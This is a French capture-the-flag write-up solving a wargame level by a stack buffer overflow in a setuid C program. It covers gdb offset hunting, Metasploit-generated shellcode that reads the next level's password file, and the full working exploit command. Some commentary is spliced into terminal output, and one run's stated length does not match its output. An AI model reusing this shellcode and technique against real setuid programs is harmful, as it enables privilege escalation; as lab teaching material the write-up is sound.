Solution
./level4 guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')
Mode opératoire
analyse
Listons le contenu du répertoirelevel4@srv-public:~$ ls -allVoyons le fichier level4.c
total 36
dr-xr-x--- 2 level4 level4 4096 1 janv. 2008 .
drwxr-x--x 24 root root 4096 18 juin 18:19 ..
lrwxrwxrwx 1 root root 9 28 mai 16:09 .bash_history -> /dev/null
-rw-r--r-- 1 root root 220 12 mai 2008 .bash_logout
-rw-r--r-- 1 root root 3116 12 mai 2008 .bashrc
-r-sr-x--- 1 level5 level4 5149 16 juin 11:06 level4
-rw------- 1 level4 level4 663 16 juin 10:55 level4.c
-r--r----- 1 level4 level4 7 1 janv. 2008 passwd
-rw-r--r-- 1 root root 675 12 mai 2008 .profile
#include < stdio.h>Que nous apprend-il?
#include < stdlib.h>
#include < string.h>
// gcc -o level4 level4.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
int checkIdent(char *login, char *pwd)
{
char buffer[8] = {'\0'};
int i;
strcpy(buffer, login);
buffer[strlen("guest1")] = '\0';
if(strcmp(buffer, "guest1"))
return 0;
strcpy(buffer, pwd);
buffer[strlen("guest1")] = '\0';
if(strcmp(buffer, "guest1"))
return 0;
return 1;
}
int main(int argc, char *argv[])
{
if(argc != 3) {
printf("%s\n", argv[0]);
exit(-1);
}
if(checkIdent(argv[1], argv[2])) {
printf("Logged :)\n");
exit(1);
}
printf("Oh noes\n");
return 0;
}
Tout d'abord, le programme a du être compilé avec les options:
-fno-stack-protector = le stack smashing protector est désactivé <=> pas de canary avec l'adresse de retour
-z execstack = rend la stack exécutable
-mpreferred-stack-boundary=2 = aligne la stack sur des mots de 2 octets (au lieu de 4)
Nous pourrons donc exécuter un shellcode sur la pile et écraser une adresse de retour pour l'exploitation (voir références à la fin de l'article pour davantage d'informations sur ces protections).
Les buffer sont initialisés dans la fonction checkIdent(). Nous utiliserons donc l'adresse de retour de cette fonction pour détourner le flux d'exécution. En bref, il nous faudra écraser l'EIP stocké sur la pile à l'appel de cette fonction par l'adresse de notre shellcode.
Le programme effectue 2 strcpy(), l'un pour passwd, l'autre pour login, sans vérifier la taille du buffer. Cependant, le 6eme caractère du buffer est écrasé à posteriori pour y placer un octet NULL ( buffer[strlen("guest1")] = '\0'; ). Nous ne pourrons donc pas utiliser les 7 premiers caractères du buffer pour notre shellcode.
le login est placé en premier dans le buffer, puis le passwd. Nous allons donc placer notre exploit dans passwd.
Le programme étant exécuté en EUID level5, il nous suffit donc d'exécuter un shellcode "cat ../level5/passwd"
Vérifions tout de même le buffer overflow.
level4@srv-public:~$ ./level4 guest1 aaaaaaaaaaaaaaaSur le pseudo de même.:
Oh noes
Erreur de segmentation
level4@srv-public:~$ ./level4 guest1 aaaaaaaaaaaaaaaa
Erreur de segmentation
level4@srv-public:~$ ./level4 aaaaaaaaaaaaaaa guest1Visiblement, nous manquons de place dans le buffer. Nous devrons donc le placer après l'adresse de retour.
Oh noes
Erreur de segmentation
level4@srv-public:~$ ./level4 aaaaaaaaaaaaaaaa guest1
Erreur de segmentation
création du shellcode
Utilisons Metasploit pour générer notre shellcode:astuce: générer le shellcode avec Metasploit
Ce qui nous donne encodé en alpha-upper:
/*Ce shellcode fait 180 octets, cette taille nous sera nécessaire un peu plus loin.
* linux/x86/exec - 180 bytes
* http://www.metasploit.com
* Encoder: x86/alpha_upper
* PrependSetresuid=false, PrependSetreuid=false,
* PrependSetuid=false, PrependChrootBreak=false,
* AppendExit=false, CMD=cat ../level5/passwd
*/
unsigned char buf[] =
"\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43"
"\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41"
"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
"\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50"
"\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48"
"\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42"
"\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50"
"\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46"
"\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45"
"\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43"
"\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41";
où placer notre payload?
Le staff nous fournit un accès à gdb. Utilisons le pour trouver l'adresse de retour dans la fonction checkIdent(). (remarque: en lancant deux fois gdb, nous constatons que les adresses des opcodes sont fixes: l'ASLR n'est pas activé.)$ gdb ./level4
astuce: utiliser ...AABBBCAAA... pour trouver la taille du buffer avant l'adresse de retour et au passage vérifier que la pile est en little endian
Cherchons d'abord combien il y a d'octets avant l'adresse de retour. Notre buffer faisant 8 octet et ebp faisant 4 octets, commencons à 12 (8+4) :
(gdb) run guest1 $(perl -e 'print "A"x12 . "BBBC"')
Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x12 . "BBBC"')
Program received signal SIGSEGV, Segmentation fault.
0x08048515 in checkIdent ()
Nous ne retrouvons pas nos caractères BBBC. Recommencons avec 2 octets de plus:
(gdb) run guest1 $(perl -e 'print "A"x14 . "BBBC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x14 . "BBBC"')
Program received signal SIGSEGV, Segmentation fault.
0x08004342 in ?? ()
Nous nous approchons.
(gdb) run guest1 $(perl -e 'print "A"x16 . "BBBC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x16 . "BBBC"')
Program received signal SIGSEGV, Segmentation fault.
0x43424242 in ?? ()
Nous retrouvons donc BBBC.
Remarque: la pile étant en little-endian, le C (0x43) est placé en premier. Il ne faudra pas oublier d'inverser les octets de l'adresse de retour que nous aurons trouvée. Le fait que le compilateur ait octroyé plus d'octets que nécessaires aux buffers est classique.
récupérer l'adresse de retour
Voyons le code assembleur de la fonction checkIdent() afin de savoir où placer un breakpoint:(gdb) disassemble checkIdent
Dump of assembler code for function checkIdent:
0x08048494 <+0>: push %ebp
0x08048495 <+1>: mov %esp,%ebp
0x08048497 <+3>: sub $0x14,%esp
0x0804849a <+6>: movl $0x0,-0xc(%ebp)
0x080484a1 <+13>: movl $0x0,-0x8(%ebp)
0x080484a8 <+20>: mov 0x8(%ebp),%eax
0x080484ab <+23>: mov %eax,0x4(%esp)
0x080484af <+27>: lea -0xc(%ebp),%eax
0x080484b2 <+30>: mov %eax,(%esp)
0x080484b5 <+33>: call 0x804838c
0x080484ba <+38>: movb $0x0,-0x6(%ebp)
0x080484be <+42>: movl $0x8048650,0x4(%esp)
0x080484c6 <+50>: lea -0xc(%ebp),%eax
0x080484c9 <+53>: mov %eax,(%esp)
0x080484cc <+56>: call 0x80483bc
0x080484d1 <+61>: test %eax,%eax
0x080484d3 <+63>: je 0x80484dc
0x080484d5 <+65>: mov $0x0,%eax
0x080484da <+70>: jmp 0x8048515
0x080484dc <+72>: mov 0xc(%ebp),%eax
0x080484df <+75>: mov %eax,0x4(%esp)
0x080484e3 <+79>: lea -0xc(%ebp),%eax
---Typeto continue, or q to quit---
0x080484e6 <+82>: mov %eax,(%esp)
0x080484e9 <+85>: call 0x804838c
0x080484ee <+90>: movb $0x0,-0x6(%ebp)
0x080484f2 <+94>: movl $0x8048650,0x4(%esp)
0x080484fa <+102>: lea -0xc(%ebp),%eax
0x080484fd <+105>: mov %eax,(%esp)
0x08048500 <+108>: call 0x80483bc
0x08048505 <+113>: test %eax,%eax
0x08048507 <+115>: je 0x8048510
0x08048509 <+117>: mov $0x0,%eax
0x0804850e <+122>: jmp 0x8048515
0x08048510 <+124>: mov $0x1,%eax
0x08048515 <+129>: leave
0x08048516 <+130>: ret
End of assembler dump.
astuce: placer un breakpoint sur l'instruction RET de la fonction où le buffer est déclaré
Placons un breakpoint à l'instruction <+130>:(gdb) break * checkIdent+130A présent, lancons le programme. Attention! Il faut que la taille de nos arguments pour l'essai soit la même que lorsque nous utiliserons notre shellcode. En effet, nos arguments sont empilés avant l'appel de la fonction. Si nous utilisions une taille d'argument différente, la pile avant l'adresse de retour serait modifiée et l'adresse de retour que nous obtiendrions serait différente.
Breakpoint 1 at 0x8048516
Nous avons vu que notre shellcode faisait 180 octets. L'adresse de retour fait 4 octets. Prenons de la marge: 200 octets. Le total est donc de 16 + 4 + 200 + 180 = 400 octets.
remarque: avec une marge de 16 octets, notre shellcode aurait fonctionné sous gdb, mais pas directement avec l'exécutable non débuggé. Or gdb ne permet pas d'obtenir l'EUID level5.
astuce: prévoir une marge large pour sauter sur le shellcode
(gdb) run guest1 $(perl -e 'print "A"x400')avancons d'une instruction:
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x200')
Breakpoint 1, 0x08048516 in checkIdent ()
(gdb) stepiet voyons l'adresse du haut de la pile (esp):
0x41414141 in ?? ()
(gdb) info registers espEt voyons l'état de la pile:
esp 0xbffff710 0xbffff710
(gdb) x/16x $esp-32Donc nous aurons la pile suivante :
0xbffff660: 0x08048505 0xbffff6fc 0x08048650 0x41414141
0xbffff670: 0x41004141 0x41414141 0x41414141 0x41414141
0xbffff680: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff690: 0x41414141 0x41414141 0x41414141 0x41414141
+--------------+--------+---------+----------+----------------------------------+------------------------+
| Ax6 | A | Ax9 | eip | NOP | exploit |
+--------------+--------+---------+----------+----------------------------------+------------------------+
^ ^ ^ ^
ajout 0x00 0xbffff66c 0xbffff660 0xbffff728
Vérifions à nouveau avec l'astuce 'BBBC':
(gdb) run guest1 $(perl -e 'print "A"x16 . "BBBC" . "A"x400')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x16 . "BBBC" . "A"x400')
Breakpoint 1, 0x08048516 in checkIdent ()
(gdb) stepi
0x43424242 in ?? ()
Remarque: sans l'ajout de la marge, nous aurions obtenu comme adresse de retour: 0xbffff720 ( c'est à dire \x20\xf7\xff\xbf en little endian ); Or, 0x20 en ASCII est égal à 'SP'. Nous aurions du de toute facon décaler de au moins deux octets (l'alignement de la pile est sur 2 octets) et ajouter deux NOP au début de notre shellcode.
astuce: éviter les caractères interdits dans l'adresse de retour ( \x00 et \x20 )
Supprimons notre breakpoint(gdb) delete 1
A présent, ajoutons notre adresse de retour (nous la choisissons pour qu'elle saute environ au milieu des NOP: 0xbffff710 ), nos NOP et notre shellcode:
(gdb) run guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')Ca marche, sauf que gdb n'a pas les droits pour ouvrir le fichier passwd. Quittons gdb:
Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')
process 28017 is executing new program: /bin/bash
process 28017 is executing new program: /bin/cat
cat: ../level5/passwd: Permission denied
Program exited with code 01.
(gdb) qet lancons notre shellcode:
./level4 guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')
MOTDEPASSE
Références
- Wikipedia buffer overflow protection - http://en.wikipedia.org/wiki/Buffer_overflow_protection- fno-stack-protector - http://en.wikipedia.org/wiki/Buffer_overflow_protection
- z execstack - http://linux.die.net/man/8/execstack
- mpreferred-stack-boundary - http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc_2.html
- Nibbles -introduction à gdb - http://nibbles.tuxfamily.org/?p=1121
- Ghosts in the stack - tutoriel buffer overflows - http://ghostsinthestack.org/article-13-les-buffers-overflows.html
- Ghosts in the stack - tutoriel shellcodes - http://ghostsinthestack.org/article-5-les-shellcodes.html
Aucun commentaire:
Enregistrer un commentaire